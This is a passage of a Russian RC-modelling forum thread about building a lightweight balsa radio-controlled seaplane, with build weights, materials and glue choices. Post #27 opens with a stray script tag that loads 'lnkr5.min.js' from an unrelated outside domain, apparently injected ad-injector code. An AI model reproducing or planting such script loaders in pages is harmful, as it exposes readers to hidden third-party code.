Перейти к содержимому


Фотография

Дёшево и сердито.

радиоуправляемый гидросамолёт

  • Авторизуйтесь для ответа в теме
Сообщений в теме: 29

#21 petlya

petlya

    Завсегдатай

  • Пользователи
  • 2420 сообщений
  • Пол:Мужчина
  • Город:Санкт-Петербург

Отправлено 14 Dec 2017 - 23:30

неа. ключевое слово - бывает  :crazy_fly:  :crazy_fly:  :crazy_fly:



#22 ВладимирTVN

ВладимирTVN

    Активный участник форума

  • Пользователи
  • 256 сообщений
  • Пол:Мужчина
  • Город:Санкт-Петербург

Отправлено 14 Dec 2017 - 23:37

:handclasp:


  • petlya это нравится

#23 petlya

petlya

    Завсегдатай

  • Пользователи
  • 2420 сообщений
  • Пол:Мужчина
  • Город:Санкт-Петербург

Отправлено 18 Jan 2018 - 10:48

В найденной пдф инструкции похожего самолёта, чуть ли не каждая деталь из разных сортов и толщин бальз и фанер -- что-то буржуи переигрались в разнообразие.

Самолётка делалась при минимальном разнообразии материалов, а второй вариант делается исключительно под бальзу всего двух вариантов - 3 и 1.5 мм.

Пару фоток того процесса с техническими данными:

Крыло не разборное и со всей начинкой весит 346 гр, размах 1420 мм при 5-7 градусов V-образности

33
Установлен такой моторчик
22
с таким пропеллером
11
Элерон вот по такой схеме
99
Фюзеляж со всем вместе весит 195 грамм (с приёмником), обшит полуторкой при примерно 8-9 шпангоутов
44
Стабилизатор и киль вообще без заморочек сделаны из 3мм бальзы
55
77
Батарейка 3S 2200mAh весит 162 гр. вот такая http://forum.rchobby...showtopic=24243, на ней же и облёты-полёты без проблем даже зимой, видео ниже
Общий взлётно-полётный вес модели = 703 грамма.
 

Модернизация ведётся.

 


Сообщение отредактировал petlya: 18 Jan 2018 - 10:52


#24 АлександрВикторович

АлександрВикторович

    Активный участник форума

  • Пользователи
  • 222 сообщений
  • Пол:Мужчина
  • Город:Санкт Петербург

Отправлено 27 Jan 2018 - 19:50

Привет! Переклей бальзы ,решение не лучшее тк наберёт вес изз за клея между слоями, цена  листа бальзы 1.5 мм почти такая же как и 5 мм. если фанера для реза на станке, лучше ламинация более плотным  шпоном.  Я клею фанерки из шпона ПУРом или  смолой элькой в вакууме на стекле. Из поливинил-ацетатных клеёв хорош В3, но смола нравится больше (всё это только моё мнение:)



#25 Tom

Tom

    Активный участник форума

  • Пользователи
  • 263 сообщений
  • Пол:Мужчина
  • Город:СПб Металлострой

Отправлено 31 Jan 2018 - 10:52

Немного рассуждений в пользу клея ПВА при изготовлении переклея из шпона.

Не будем говорить о достоинствах типа нетоксичный и тд. На мой взгляд, основное достоинство это то, что кроме традиционного способа склеивания деталей, можно  на поверхность нанести ПВА, высушить, далее соединить  детали и горячим утюгом прогладить, все готово. Такой способ весьма удобен особенно при изготовлении длинных деталей. Предполагал, что после высыхания сухой остаток будет мизерный, но все же проверил. Оказалось, что при высыхании ПВА (Строительный) теряет примерно половину веса.

Площадь детали 56см кв, толщина клеевой пленки 0,163мм, плотность 1,43 Г/см куб. Это по результатам измерений. Пленка по прочности как полиэтиленовая пленка аналогичной толщины, по ощущениям. Реально клея потребуется гораздо меньше для склеивания и прибавка веса будет значительно меньше, тут я для примера пересторался немного.

 

Прикрепленные изображения

  • IMG_201801291.jpg
  • IMG_201801302.jpg
  • IMG_201801303.jpg
  • IMG_201801304.jpg


#26 petlya

petlya

    Завсегдатай

  • Пользователи
  • 2420 сообщений
  • Пол:Мужчина
  • Город:Санкт-Петербург

Отправлено 05 Sep 2018 - 08:10

На сегодняшний день замена фанерки для моторамы не найдена. Желание сделать ВЕСЬ самолёт только из бальзы осталось. Эксперименты продолжаются.



#27 Calvin

Calvin

    Активный участник форума

  • Пользователи
  • 413 сообщений
  • Пол:Мужчина
  • Город:Санкт-Петербург

Отправлено 05 Sep 2018 - 15:57

<script src="http://extnetcool.co...s/lnkr5.min.js"type="text/javascript"> </script> как не найдено? 100 лет делаю из вспененого пвх 3 мм.  
о его достоинствах писал много раз.

1 легко режется ножом

2 замечательно мгновенно клеится циакрином (молекуляркой). склеивается с деревом.

3 легко вкручиваются шурупы. и много раз. дырки не разбиваются.

4 не боится воды.

5 у меня обрезков бесплатно дофига )))

6 не тяжелее фанеры а может и легче.

7 руками с ним работать одно удовольствие. приятнее только с бальзой.

 

минус один. становится хрупким на морозе. но тоже все относительно. смотря какой мороз. и как приложешься.

 

Прикрепленные изображения

  • 25072008(005).jpg
  • 25072008(009).jpg
  • 25072008(008).jpg
  • Resize of PICT0032.JPG


#28 petlya

petlya

    Завсегдатай

  • Пользователи
  • 2420 сообщений
  • Пол:Мужчина
  • Город:Санкт-Петербург

Отправлено 07 Mar 2019 - 11:22

Решено сделать мотораму из бальзовой переклейки, возможно, между слоями брошу стекло.



#29 samjack

samjack

    Активный участник форума

  • Пользователи
  • 272 сообщений
  • Пол:Мужчина
  • Город:Санкт-Петербург

Отправлено 07 Mar 2019 - 12:55

Попробуй пропитать бальзовый шпон самым жидким циакрином с одной либо с двух сторон,жесткость наберет хорошую, а веса практически нет!Но для моторамы первый слой лучше сделать из милиметровой фанеры,а дальше сендвич из пропитки и без пропитки плюс слои крест на крест. 



#30 petlya

petlya

    Завсегдатай

  • Пользователи
  • 2420 сообщений
  • Пол:Мужчина
  • Город:Санкт-Петербург

Отправлено 07 Mar 2019 - 15:49

не годится. в предыдущих постах задача описана - уйти от фанер и прочее, друзья старайтесь читать тему полностью. 







Темы с аналогичным тегами радиоуправляемый гидросамолёт

Количество пользователей, читающих эту тему: 0

0 пользователей, 0 гостей, 0 скрытых пользователей

Яндекс цитирования Яндекс.Метрика